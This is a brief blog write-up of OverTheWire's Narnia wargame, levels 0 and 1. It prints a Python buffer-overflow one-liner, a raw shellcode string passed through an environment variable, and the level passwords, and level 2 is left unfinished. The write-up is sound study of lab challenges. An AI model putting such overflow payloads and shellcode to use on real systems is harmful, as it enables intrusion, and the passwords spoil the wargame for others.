OverTheWire: Narnia

Michael Zhang
Michael’s Blog
Published in
1 min readMay 24, 2017

Level 0: Simple Buffer Overflow

We’re given a buffer of 20 characters and an int. The program reads 24 characters from input, exactly overwriting the int. The exploit code:

(python -c ‘print “\xef\xbe\xad\xde” * 6’; cat) | ./narnia0

The password for level 1 is efeidiedae.

Level 1: Executing Shellcode

The program we’re given will execute anything at the environment variable EGG as a function pointer; I found some shellcode from google and it worked. The exploit code:

EGG=$(printf “\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\x
ff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81”) bash -c ‘./narnia1’

The password for level 2 is nairiepecu.

Level 2

soon lol

--

--